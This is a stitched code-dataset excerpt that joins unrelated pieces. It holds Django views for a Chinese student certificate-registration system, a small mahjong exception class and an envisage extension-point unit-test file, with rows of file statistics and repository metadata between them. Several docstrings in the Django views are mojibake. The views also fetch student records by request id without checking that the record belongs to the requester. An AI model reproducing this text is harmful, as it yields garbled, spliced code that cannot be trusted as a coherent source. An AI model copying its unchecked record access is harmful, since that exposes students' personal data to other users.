:param request:
:return:
"""
# 关联登陆用户基础信息
title_msg = '学生填报信息列表'
username = request.session.get('username', None) # 用户名
register_user_info = RegisterUserInfo.objects.get(username=username)
students = StudentInfo.objects.filter(
user_info__register_user_info=register_user_info).order_by('-id')
page_search = PageSearchForm(request.GET)
per_page = 10
page = 1
if page_search.is_valid():
if page_search.cleaned_data.get('per_page', None):
per_page = page_search.cleaned_data.get('per_page', None)
if page_search.cleaned_data.get('page', None):
page = page_search.cleaned_data.get('page', None)
paginator = Paginator(students, per_page)
contacts = paginator.get_page(page)
# paginator = Paginator(students, 10)
# page = request.GET.get('page')
# contacts = paginator.get_page(page)
if SchoolTerm.objects.count() > 0:
school_term = SchoolTerm.objects.last()
return render_result(
request,
"page_main_controller/student/report_student_info_list.html", {
'title_msg': title_msg,
"contacts": contacts,
'school_term': school_term,
'need_list': False
})
else:
return render_result(
request,
"page_main_controller/student/report_student_info_list.html", {
'title_msg': title_msg,
'need_list': False
})
def student_info_detail(request):
"""
查看本条记录的学生信息详情
:return:
"""
if request.method == 'GET':
student_id = request.GET.get('studentId', None)
if int(student_id) > 0:
student_infos = StudentInfo.objects.filter(id=student_id)
if len(student_infos) == 0:
title_msg = sys_msg + '-填报详情'
return render_result(
request,
"page_main_controller/student/report_student_user_info_detail.html",
{
'title_msg': title_msg,
'not_exist': True
})
else:
student_info = student_infos[0]
title_msg = sys_msg + '-填报详情'
image_url = ''
if student_info.user_info.two_inch_photo:
image_url = MEDIA_URL + str(
student_info.user_info.two_inch_photo.picture_path)
# 全部汇总在大填报表格里面
certificate_photos_url = ''
if student_info.certificate_photos:
certificate_photos_url = MEDIA_URL + str(
student_info.certificate_photos.picture_path)
condition_selected_str = ''
if student_info.condition_selected:
condition_selected_str = student_info.condition_selected.condition_name
# condition_query_set = ReportCondition.objects.\
# filter(condition_id=student_info.condition_selected).\
# values('condition_id',
# 'condition_name',
# 'condition_level',
# 'record_status')
# print(condition_query_set)
# if len(condition_query_set) > 0:
# condition_selected_str = condition_query_set[0]['condition_name']
print(condition_selected_str)
diploma_certificate_photos_url = ''
if student_info.diploma_certificate_photos:
diploma_certificate_photos_url = MEDIA_URL + str(
student_info.diploma_certificate_photos.picture_path)
id_card_heads_photo_url = ''
if student_info.user_info.id_card_heads_photo:
id_card_heads_photo_url = MEDIA_URL + str(
student_info.user_info.id_card_heads_photo.picture_path)
id_card_tails_photo_url = ''
if student_info.user_info.id_card_tails_photo:
id_card_tails_photo_url = MEDIA_URL + str(
student_info.user_info.id_card_tails_photo.picture_path)
return render_result(
request,
"page_main_controller/student/report_student_user_info_detail.html",
{
'title_msg': title_msg,
'student_info': student_info,
'image_url': image_url,
'certificate_photos_url': certificate_photos_url,
'diploma_certificate_photos_url':
diploma_certificate_photos_url,
'id_card_heads_photo_url':
id_card_heads_photo_url,
'id_card_tails_photo_url':
id_card_tails_photo_url,
'not_exist': False,
'condition_selected': condition_selected_str
})
def student_info_update(request):
"""
修改学生的填报信息
:return:
"""
try:
if request.method == 'POST':
object_form = StudentUpdateForm(request.POST)
# print(object_form.__str__())
if object_form.is_valid():
student_info_id = object_form.cleaned_data.get('obj_id', None)
if student_info_id:
student_infos = StudentInfo.objects.filter(id=student_info_id).order_by('-id')
if len(student_infos) > 0:
student_info = student_infos[0]
student_id = student_info.id
# 用户基础信息
form_object_student_info = form_to_obj(
object_form.cleaned_data, student_info)
# 关联申报的级别信息
identification_level = object_form.cleaned_data.get(
'update_identification_level', None)
if identification_level:
form_object_student_info.identification_level = identification_level
# 关联职业资格证书照片
certificate_photos = object_form.cleaned_data.get(
'certificate_photos_form', None)
if certificate_photos:
certificate_photos_obj = Picture.objects.get(
id=certificate_photos)
form_object_student_info.certificate_photos = certificate_photos_obj
# 关联职业资格证书照片
# 关联院校毕业证书照片
diploma_certificate_photos = object_form.cleaned_data.get(
'diploma_certificate_photos_form', None)
if diploma_certificate_photos:
diploma_certificate_photos_obj = Picture.objects.get(
id=diploma_certificate_photos)
form_object_student_info.diploma_certificate_photos = diploma_certificate_photos_obj
# 关联院校毕业证书照片
# 关联登陆用户基础信息
username = request.session.get('username', None) # 用户名
register_user_info = RegisterUserInfo.objects.get(
username=username)
form_object_student_info.user_operator = register_user_info
declaration_of_occupation = form_object_student_info.declaration_of_occupation
identification_level = form_object_student_info.identification_level
if '工业废水' in declaration_of_occupation:
declaration_of_occupation_first = '工废'
elif '工业固体' in declaration_of_occupation:
declaration_of_occupation_first = '工固'
elif '中式烹调师' in declaration_of_occupation:
declaration_of_occupation_first = '烹'
elif '中式面点师' in declaration_of_occupation:
declaration_of_occupation_first = '面'
elif '电梯安装维修工' in declaration_of_occupation:
declaration_of_occupation_first = '电梯'
else:
declaration_of_occupation_first = str(
declaration_of_occupation)[0:1]
identification_level_dict = {
'5': '(初)',
'4': '(中)',
'3': '(高)'
}
identification_level_str = identification_level_dict[
str(identification_level)]
explain = declaration_of_occupation_first + identification_level_str
form_object_student_info.explain = explain
print("primary_level::" +
form_object_student_info.primary_level)
# if form_object_student_info.identification_level == "3":
# # 如果申报等级是高级那么工作年限将不设置
# form_object_student_info.career_life = 0
# form_object_student_info.original_certificate_worker_year = 0
# form_object_student_info.apprentice_year = 0
# form_object_student_info.apprentice_month = 0
# else:
# pass
form_object_student_info.save()
student_username = form_object_student_info.user_info.register_user_info.username
if diploma_certificate_photos:
# 备份到对应的
term_worker_picture(
form_object_student_info.school_term.
school_term_name, form_object_student_info.
declaration_of_occupation, student_username,
"毕业证件照", form_object_student_info.
diploma_certificate_photos.picture_path)
if certificate_photos:
# 备份到对应的
term_worker_picture(
form_object_student_info.school_term.
school_term_name, form_object_student_info.
declaration_of_occupation, student_username,
"资格证件照", form_object_student_info.
certificate_photos.picture_path)
result['message'] = "学员信息添加成功！"
result["level"] = log_level_add
save_operation_log(
request,
inspect.stack()[0][3],
form_object_student_info.__str__(True), result)
# user_info = UserInfo.objects.get(register_user_info=register_user_info.id)
# working_history_list = user_info.user_Info_working_history.all()
# print("user_Info_working_history::" + str(working_history_list))
title_msg = sys_msg + '-用户信息'
teacher_infos = TeacherInfo.objects.all()
teacher_info_id = form_object_student_info.teacher_info
if form_object_student_info.user_info:
user_info = form_object_student_info.user_info
if not user_info.real_name:
user_info.real_name = ""
if not user_info.id_number:
user_info.id_number = ""
if not user_info.id_card_address:
user_info.id_card_address = ""
if not user_info.address:
user_info.address = ""
if not user_info.work_unit:
user_info.work_unit = ""
if not user_info.fixed_telephone:
user_info.fixed_telephone = ""
if not user_info.contact_number:
user_info.contact_number = ""
if not user_info.postal_code:
user_info.postal_code = ""
if not user_info.main_occupation:
user_info.main_occupation = ""
if user_info.two_inch_photo:
if user_info.two_inch_photo.picture_path:
image_url = MEDIA_URL + str(
user_info.two_inch_photo.picture_path)
idcard_heads_image_url = MEDIA_URL + str(
user_info.id_card_heads_photo.picture_path)
idcard_tails_image_url = MEDIA_URL + str(
user_info.id_card_tails_photo.picture_path)
return render_result(
request,
"page_main_controller/user/report_user_info_update.html",
{
'title_msg': title_msg,
'user_info':
student_info.user_info,
'student_id': student_id,
'image_url': image_url,
'idcard_heads_image_url': idcard_heads_image_url,
'idcard_tails_image_url': idcard_tails_image_url,
'teacher_infos': teacher_infos,
'teacher_info_id': teacher_info_id
})
else:
return render_result(
request,
"page_main_controller/user/report_user_info_update.html",
{
'title_msg': title_msg,
'user_info': user_info,
'student_id': student_id,
'image_url': '',
'teacher_infos': teacher_infos,
'teacher_info_id': teacher_info_id
})
else:
print(type(object_form.errors),
object_form.errors) # errors类型是ErrorDict，里面是ul，li标签
title_msg = sys_msg + '-错误信息展示页面'
message = '更新失败：系统没有此信息记录，请重试或联系管理员！'
return render_result(request,
"page_main_controller/message.html", {
'title_msg': title_msg,
'message': message
})
else:
print(type(object_form.errors),
object_form.errors) # errors类型是ErrorDict，里面是ul，li标签
title_msg = sys_msg + '-错误信息展示页面'
message = '更新失败：输入项不全，请返回重新确认并填写'
return render_result(request,
"page_main_controller/message.html", {
'title_msg': title_msg,
'message': message
})
else:
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：请求方式有误，请重新提交或者联系管理员'
return render_result(request, "page_main_controller/message.html",
{
'title_msg': title_msg,
'message': message
})
except Exception as e:
print(str(e))
raise e
def to_student_info_update(request):
"""
去修改学生的填报信息
:return:
"""
title_msg = sys_msg + '-填报信息修改'
message = ''
if request.method == 'GET':
student_id = request.GET.get('studentId', None)
if int(student_id) > 0:
student_infos = StudentInfo.objects.filter(id=student_id)
if len(student_infos) == 0:
title_msg = sys_msg + '-填报信息修改'
return render_result(
request,
"page_main_controller/student/report_student_user_info_detail.html",
{
'title_msg': title_msg,
'not_exist': True
})
else:
student_info = student_infos[0]
# condition_selected_str = ''
# if student_info.condition_selected:
# condition_query_set = ReportCondition.objects.\
# filter(condition_id=student_info.condition_selected).\
# values('condition_id',
# 'condition_name',
# 'condition_level',
# 'record_status')
# print(condition_query_set)
# if len(condition_query_set) > 0:
# condition_selected_str = condition_query_set[0]['condition_name']
# print(condition_selected_str)
# 判断当前操作填报学期是否已经完结
# 学生的信息处于原始的信息保存状态，可以进行修改
editable = False
if student_info.school_term.status == "2":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：当前: ' + student_info.school_term.school_term_name + ' 学期报名已完结,或由管理员关停！您您已无法修改'
return render_result(request,
"page_main_controller/message.html", {
'title_msg': title_msg,
'message': message
})
else:
role_name = request.session.get('role_name', None)
if role_name == 'administrator':
if student_info.confirm_status == "1":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：您的信息已由学校管理员最终确认，您暂时无法修改，如欲修改请提交注销申请！'
else:
editable = True
elif role_name == 'teacher':
if student_info.review_status == "1":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：您的信息已由负责人提交学校管理员确认，您暂时无法修改，如欲修改请提交注销申请！'
elif student_info.confirm_status == "1":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：您的信息已由学校管理员最终确认，您暂时无法修改，如欲修改请提交注销申请！'
else:
editable = True
elif role_name == 'student':
# 修改之前进行状态的判断
if student_info.submit_status == "1":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：您的信息已提交管理员审核，您暂时无法修改，如欲修改请提交注销申请！'
elif student_info.review_status == "1":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：您的信息已由负责人提交学校管理员确认，您暂时无法修改，如欲修改请提交注销申请！'
elif student_info.confirm_status == "1":
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：您的信息已由学校管理员最终确认，您暂时无法修改，如欲修改请提交注销申请！'
else:
editable = True
if editable:
certificate_photos_url = ''
if student_info.certificate_photos:
certificate_photos_url = MEDIA_URL + str(
student_info.certificate_photos.picture_path)
diploma_certificate_photos_url = ''
if student_info.diploma_certificate_photos:
diploma_certificate_photos_url = MEDIA_URL + \
str(student_info.diploma_certificate_photos.picture_path)
print(student_info.condition_selected)
return render_result(
request,
"page_main_controller/student/report_student_info_update.html",
{
'title_msg': title_msg,
'student_info': student_info,
'diploma_certificate_photos_url':
diploma_certificate_photos_url,
'certificate_photos_url':
certificate_photos_url,
'not_report': False
})
else:
# 状态修改修改权限也修改了
return render_result(
request, "page_main_controller/message.html", {
'title_msg': title_msg,
'message': message
})
else:
message = '查询提示：参数异常，请重试或联系管理员。'
return render_result(request, "page_main_controller/message.html",
{
'title_msg': title_msg,
'message': message
})
else:
message = '系统提示：请求方式有误，请重新提交或者联系管理员'
return render_result(request, "page_main_controller/message.html", {
'title_msg': title_msg,
'message': message
})
def report_student_del(request):
"""����id ɾ��.
:param request:
:return:
"""
operation_object = None
try:
if request.method == 'POST':
student_del_id = request.POST.get('record_id', None)
if int(student_del_id) > 0:
student_infos = StudentInfo.objects.filter(id=student_del_id)
if len(student_infos) == 1:
student_info = student_infos[0]
submit_status = student_info.submit_status
cancel_status = student_info.cancel_status
cancel_result = student_info.cancel_result
confirm_status = student_info.confirm_status
if int(submit_status) == 1:
# 如果是已提交状态，将无法删除
result['status'] = False
result['message'] = '所要删除的记录已经提交，您无法删除，您可以申请注销。'
result['data'] = ''
else:
# 如果是未提交状态，可以删除
operation_object = student_info
student_info.delete()
student_infos_check = StudentInfo.objects.filter(
id=student_del_id)
if len(student_infos_check) == 0:
result['status'] = True
result['message'] = '删除记录成功'
result['data'] = json.dumps({}, ensure_ascii=False)
else:
result['status'] = False
result['message'] = '未能成功删除或者有多条记录，请查询确认后继续删除!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要删除的记录不存在!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要删除的记录不存在!'
result['data'] = ''
except Exception as e:
result['status'] = False
result['message'] = "系统异常：" + str(e)
result['data'] = ''
result["level"] = log_level_cancel
save_operation_log(request,
inspect.stack()[0][3], operation_object.__str__(True),
result)
return JsonResponse(result, safe=False)
def report_student_submit(request):
"""ѧԱ�ύ��Ϣ��ť.
:param request:
:return:
"""
operation_object = None
try:
if request.method == 'POST':
student_id = request.POST.get('record_id', None)
if int(student_id) > 0:
student_infos = StudentInfo.objects.filter(
id=student_id).order_by('-id')
if len(student_infos) == 1:
student_info = student_infos[0]
submit_status = student_info.submit_status
if student_info.user_info:
# 学员的基础信息是否完备
if student_info.teacher_info:
# 学员的负责人信息是否完备
if submit_status == "2":
student_info.submit_status = 1
student_info.save()
operation_object = student_info.id
result['status'] = True
result['message'] = '提交记录成功'
result['data'] = json.dumps({},
ensure_ascii=False)
else:
result['status'] = False
result['message'] = '已提交，请不要重复提交!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录负责人信息未提交，请修改!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录个人基础信息未提交，请修改添加!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
except Exception as e:
result['status'] = False
result['message'] = "系统异常：" + str(e)
result['data'] = ''
result["level"] = log_level_change_status
save_operation_log(request,
inspect.stack()[0][3], "uid:" + str(operation_object),
result)
return JsonResponse(result, safe=False)
def report_student_cancel(request):
"""ȡ���ύ��¼.
:param request:
:return:
"""
operation_object = None
try:
if request.method == 'POST':
student_del_id = request.POST.get('record_id', None)
if int(student_del_id) > 0:
student_infos = StudentInfo.objects.filter(id=student_del_id)
if len(student_infos) == 1:
student_info = student_infos[0]
submit_status = student_info.submit_status
review_status = student_info.review_status
confirm_status = student_info.confirm_status
if confirm_status == "2":
if review_status == "2":
if submit_status == "1":
# cancel_status = student_info.cancel_status
student_info.submit_status = "2"
operation_object = student_info.id
student_info.save()
result['status'] = True
result['message'] = '申请注销提交操作成功'
result['data'] = json.dumps({},
ensure_ascii=False)
# if submit_status == "2":
# student_info.cancel_status = "1"
# operation_object = student_info.id
# student_info.save()
# result['status'] = True
# result['message'] = '申请注销提交操作成功'
# result['data'] = json.dumps({}, ensure_ascii=False)
# else:
# result['status'] = False
# result['message'] = '已在申请中，请勿重复申请!'
# result['data'] = ''
else:
result['status'] = False
result[
'message'] = '所要申请的注销记录信息尚未提交或已经取消，请不要重复操作!'
result['data'] = ''
else:
result['status'] = False
result[
'message'] = '所要申请的记录已经由负责人审核通过，请联系负责人取消审核再修改!'
result['data'] = ''
else:
result['status'] = False
result[
'message'] = '您的报名信息已经通过最终审核，请联系负责人取消审核之后才能修改信息!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
except Exception as e:
result['status'] = False
result['message'] = "系统异常：" + str(e)
result['data'] = ''
result["level"] = log_level_change_status
save_operation_log(request,
inspect.stack()[0][3], "uid:" + str(operation_object),
result)
return JsonResponse(result, safe=False)
def report_student_cancel_return(request):
"""��������ע���ύ��¼.
:param request:
:return:
"""
operation_object = None
try:
if request.method == 'POST':
student_del_id = request.POST.get('record_id', None)
if int(student_del_id) > 0:
student_infos = StudentInfo.objects.filter(id=student_del_id)
if len(student_infos) == 1:
student_info = student_infos[0]
submit_status = student_info.submit_status
if submit_status == "1":
cancel_status = student_info.cancel_status
if cancel_status == "1":
student_info.cancel_status = "2"
operation_object = student_info.id
student_info.save()
result['status'] = True
result['message'] = '撤销申请注销提交操作成功'
result['data'] = json.dumps({}, ensure_ascii=False)
else:
result['status'] = False
result['message'] = '本提交记录，没有注销申请，请您先注销!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '已经通过负责人同意注销记录，请继续修改记录然后提交!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
except Exception as e:
result['status'] = False
result['message'] = "系统异常：" + str(e)
result['data'] = ''
result["level"] = log_level_change_status
save_operation_log(request,
inspect.stack()[0][3], "uid:" + str(operation_object),
result)
return JsonResponse(result, safe=False)
def report_student_payment(request):
"""ѧԱ�ɷ�.
:param request:
:return:
"""
operation_object = None
try:
if request.method == 'POST':
student_id = request.POST.get('record_id', None)
payment_amount = request.POST.get('payment_amount', None)
unpaid_amount = request.POST.get('unpaid_amount', None)
if int(student_id) > 0:
student_infos = StudentInfo.objects.filter(id=student_id)
if len(student_infos) == 1:
student_info = student_infos[0]
review_status = student_info.review_status
confirm_status = student_info.confirm_status
submit_status = student_info.submit_status
if submit_status == "1":
if review_status == "2":
if confirm_status == "2":
student_info.payment_amount = int(
payment_amount)
student_info.unpaid_amount = int(unpaid_amount)
operation_object = student_info.id
student_info.save()
result['status'] = True
result['message'] = '缴费成功！已缴纳：' + str(
payment_amount) + " 元。" + "未缴费：" + str(
unpaid_amount) + " 元。"
result['data'] = json.dumps({},
ensure_ascii=False)
else:
result['status'] = False
result['message'] = '您已报名成功，不要继续操作，请等待考试信息通告!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '您已通过负责人各项，请不要继续操作!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '您尚未提交审核资料，暂时无法进行缴费!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
else:
result['status'] = False
result['message'] = '所要提交的记录不存在!'
result['data'] = ''
except Exception as e:
result['status'] = False
result['message'] = "系统异常：" + str(e)
result['data'] = ''
result["level"] = log_level_change_status
save_operation_log(request,
inspect.stack()[0][3], "uid:" + str(operation_object),
result)
return JsonResponse(result, safe=False)
| 48.187627
| 118
| 0.470271
| 3,943
| 47,513
| 5.31651
| 0.0842
| 0.075037
| 0.047035
| 0.052092
| 0.851882
| 0.811859
| 0.78858
| 0.766589
| 0.716691
| 0.699327
| 0.001115
| 0.003778
| 0.454086
| 47,513
| 985
| 119
| 48.236548
| 0.802144
| 0.078294
| 0
| 0.722646
| 0
| 0
| 0.090161
| 0.043057
| 0
| 0
| 0
| 0
| 0
| 1
| 0.012723
| false
| 0
| 0.017812
| 0
| 0.061069
| 0.012723
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4d7f664274e556130464f5d0e3fb299fdffa9822
| 191
|
py
|
Python
|
src/exception.py
|
taeho-gwon/MahjongRepo
|
e1ec338c2983a3c7409a078924eca67c624ee54d
|
[
"MIT"
] | null | null | null |
src/exception.py
|
taeho-gwon/MahjongRepo
|
e1ec338c2983a3c7409a078924eca67c624ee54d
|
[
"MIT"
] | 11
|
2022-02-19T15:30:50.000Z
|
2022-03-10T02:51:43.000Z
|
src/exception.py
|
taeho-gwon/MahjongRepo
|
e1ec338c2983a3c7409a078924eca67c624ee54d
|
[
"MIT"
] | null | null | null |
class TileInputError(Exception):
def __init__(self, tile_code: str):
self.tile_code = tile_code
def __str__(self):
return self.tile_code + "is not a valid tile_code"
| 27.285714
| 58
| 0.680628
| 27
| 191
| 4.333333
| 0.518519
| 0.34188
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.230366
| 191
| 6
| 59
| 31.833333
| 0.795918
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| 0.125654
| 0
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| 1
| 0.4
| false
| 0
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| 0.2
| 0.8
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| null | 1
| 1
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| 1
| 0
|
0
| 7
|
4dbcc9c37d2c343785c933c90d30cca0617d79f0
| 12,175
|
py
|
Python
|
envisage/tests/extension_point_changed_test_case.py
|
robmcmullen/envisage
|
57338fcb0ea69c75bc3c86de18a5967d8e78c6c1
|
[
"BSD-3-Clause"
] | null | null | null |
envisage/tests/extension_point_changed_test_case.py
|
robmcmullen/envisage
|
57338fcb0ea69c75bc3c86de18a5967d8e78c6c1
|
[
"BSD-3-Clause"
] | null | null | null |
envisage/tests/extension_point_changed_test_case.py
|
robmcmullen/envisage
|
57338fcb0ea69c75bc3c86de18a5967d8e78c6c1
|
[
"BSD-3-Clause"
] | null | null | null |
""" Tests for the events fired when extension points are changed. """
# Enthought library imports.
from traits.testing.unittest_tools import unittest
# Local imports.
#
# We do these as absolute imports to allow nose to run from a different
# working directory.
from envisage.tests.application_test_case import (
PluginA, PluginB, PluginC, TestApplication, listener
)
class ExtensionPointChangedTestCase(unittest.TestCase):
""" Tests for the events fired when extension points are changed. """
###########################################################################
# 'TestCase' interface.
###########################################################################
def setUp(self):
""" Prepares the test fixture before each test method is called. """
# Make sure that the listener contents get cleand up before each test.
listener.obj = None
listener.trait_name = None
listener.old = None
listener.new = None
return
def tearDown(self):
""" Called immediately after each test method has been called. """
return
###########################################################################
# Tests.
###########################################################################
def test_set_extension_point(self):
""" set extension point """
a = PluginA()
application = TestApplication(plugins=[a])
application.start()
# Try to set the extension point.
self.failUnlessRaises(SystemError, setattr, a, 'x', [1, 2, 3])
return
def test_append(self):
""" append """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
application = TestApplication(plugins=[a, b, c])
application.start()
# fixme: If the extension point has not been accessed then the
# provider extension registry can't work out what has changed, so it
# won't fire a changed event.
self.assertEqual([1, 2, 3, 98, 99, 100], a.x)
# Append a contribution.
b.x.append(4)
# Make sure we pick up the new contribution via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(7, len(extensions))
self.assertEqual([1, 2, 3, 4, 98, 99, 100], extensions)
# Make sure we pick up the new contribution via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(7, len(extensions))
self.assertEqual([1, 2, 3, 4, 98, 99, 100], extensions)
# Make sure we got a trait event telling us that the contributions
# to the extension point have been changed.
self.assertEqual(a, listener.obj)
self.assertEqual('x_items', listener.trait_name)
self.assertEqual([4], listener.new.added)
self.assertEqual([], listener.new.removed)
self.assertEqual(3, listener.new.index)
return
def test_remove(self):
""" remove """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
application = TestApplication(plugins=[a, b, c])
application.start()
# fixme: If the extension point has not been accessed then the
# provider extension registry can't work out what has changed, so it
# won't fire a changed event.
self.assertEqual([1, 2, 3, 98, 99, 100], a.x)
# Remove a contribution.
b.x.remove(3)
# Make sure we pick up the correct contributions via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(5, len(extensions))
self.assertEqual([1, 2, 98, 99, 100], extensions)
# Make sure we pick up the correct contributions via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(5, len(extensions))
self.assertEqual([1, 2, 98, 99, 100], extensions)
# Make sure we got a trait event telling us that the contributions
# to the extension point have been changed.
self.assertEqual(a, listener.obj)
self.assertEqual('x_items', listener.trait_name)
self.assertEqual([], listener.new.added)
self.assertEqual([3], listener.new.removed)
self.assertEqual(2, listener.new.index)
return
def test_assign_empty_list(self):
""" assign empty list """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
application = TestApplication(plugins=[a, b, c])
application.start()
# fixme: If the extension point has not been accessed then the
# provider extension registry can't work out what has changed, so it
# won't fire a changed event.
self.assertEqual([1, 2, 3, 98, 99, 100], a.x)
# Assign an empty list to one of the plugin's contributions.
b.x = []
# Make sure we pick up the correct contribution via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([98, 99, 100], extensions)
# Make sure we pick up the correct contribution via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([98, 99, 100], extensions)
# Make sure we got a trait event telling us that the contributions
# to the extension point have been changed.
self.assertEqual(a, listener.obj)
self.assertEqual('x_items', listener.trait_name)
self.assertEqual([], listener.new.added)
self.assertEqual([1, 2, 3], listener.new.removed)
self.assertEqual(0, listener.new.index.start)
self.assertEqual(3, listener.new.index.stop)
return
def test_assign_empty_list_no_event(self):
""" assign empty list no event """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
application = TestApplication(plugins=[a, b, c])
application.start()
# Assign an empty list to one of the plugin's contributions.
b.x = []
# Make sure we pick up the correct contribution via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([98, 99, 100], extensions)
# Make sure we pick up the correct contribution via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([98, 99, 100], extensions)
# We shouldn't get a trait event here because we haven't accessed the
# extension point yet!
self.assertEqual(None, listener.obj)
return
def test_assign_non_empty_list(self):
""" assign non-empty list """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
application = TestApplication(plugins=[a, b, c])
application.start()
# fixme: If the extension point has not been accessed then the
# provider extension registry can't work out what has changed, so it
# won't fire a changed event.
self.assertEqual([1, 2, 3, 98, 99, 100], a.x)
# Assign a non-empty list to one of the plugin's contributions.
b.x = [2, 4, 6, 8]
# Make sure we pick up the new contribution via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(7, len(extensions))
self.assertEqual([2, 4, 6, 8, 98, 99, 100], extensions)
# Make sure we pick up the new contribution via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(7, len(extensions))
self.assertEqual([2, 4, 6, 8, 98, 99, 100], extensions)
# Make sure we got a trait event telling us that the contributions
# to the extension point have been changed.
self.assertEqual(a, listener.obj)
self.assertEqual('x_items', listener.trait_name)
self.assertEqual([2, 4, 6, 8], listener.new.added)
self.assertEqual([1, 2, 3], listener.new.removed)
self.assertEqual(0, listener.new.index.start)
self.assertEqual(4, listener.new.index.stop)
return
def test_add_plugin(self):
""" add plugin """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
# Start off with just two of the plugins.
application = TestApplication(plugins=[a, b])
application.start()
# Make sure we can get the contributions via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([1, 2, 3], extensions)
# Make sure we can get the contributions via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([1, 2, 3], extensions)
# Now add the other plugin.
application.add_plugin(c)
# Make sure we can get the contributions via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(6, len(extensions))
self.assertEqual([1, 2, 3, 98, 99, 100], extensions)
# Make sure we can get the contributions via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(6, len(extensions))
self.assertEqual([1, 2, 3, 98, 99, 100], extensions)
# Make sure we got a trait event telling us that the contributions
# to the extension point have been changed.
self.assertEqual(a, listener.obj)
self.assertEqual('x_items', listener.trait_name)
self.assertEqual([98, 99, 100], listener.new.added)
self.assertEqual([], listener.new.removed)
self.assertEqual(3, listener.new.index)
return
def test_remove_plugin(self):
""" remove plugin """
a = PluginA(); a.on_trait_change(listener, 'x_items')
b = PluginB()
c = PluginC()
application = TestApplication(plugins=[a, b, c])
application.start()
# Make sure we can get the contributions via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(6, len(extensions))
self.assertEqual([1, 2, 3, 98, 99, 100], extensions)
# Make sure we can get the contributions via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(6, len(extensions))
self.assertEqual([1, 2, 3, 98, 99, 100], extensions)
# Now remove one plugin.
application.remove_plugin(b)
# Make sure we can get the contributions via the application.
extensions = application.get_extensions('a.x')
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([98, 99, 100], extensions)
# Make sure we can get the contributions via the plugin.
extensions = a.x[:]
extensions.sort()
self.assertEqual(3, len(extensions))
self.assertEqual([98, 99, 100], extensions)
# Make sure we got a trait event telling us that the contributions
# to the extension point have been changed.
self.assertEqual(a, listener.obj)
self.assertEqual('x_items', listener.trait_name)
self.assertEqual([], listener.new.added)
self.assertEqual([1, 2, 3], listener.new.removed)
self.assertEqual(0, listener.new.index)
return
# Entry point for stand-alone testing.
if __name__ == '__main__':
unittest.main()
#### EOF ######################################################################
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0
| 7
|
4dddb53cc9c07a30225ec885afa51bb067222467
| 64,041
|
py
|
Python
|
ibm_cloud_networking_services/transit_gateway_apis_v1.py
|
chenshuguang/networking-python-sdk
|
3bbf30e2706052e75c0cc847d7ee8a584ba93f11
|
[
"Apache-2.0"
] | 1
|
2020-12-22T03:51:33.000Z
|
2020-12-22T03:51:33.000Z
|
ibm_cloud_networking_services/transit_gateway_apis_v1.py
|
chenshuguang/networking-python-sdk
|
3bbf30e2706052e75c0cc847d7ee8a584ba93f11
|
[
"Apache-2.0"
] | null | null | null |
ibm_cloud_networking_services/transit_gateway_apis_v1.py
|
chenshuguang/networking-python-sdk
|
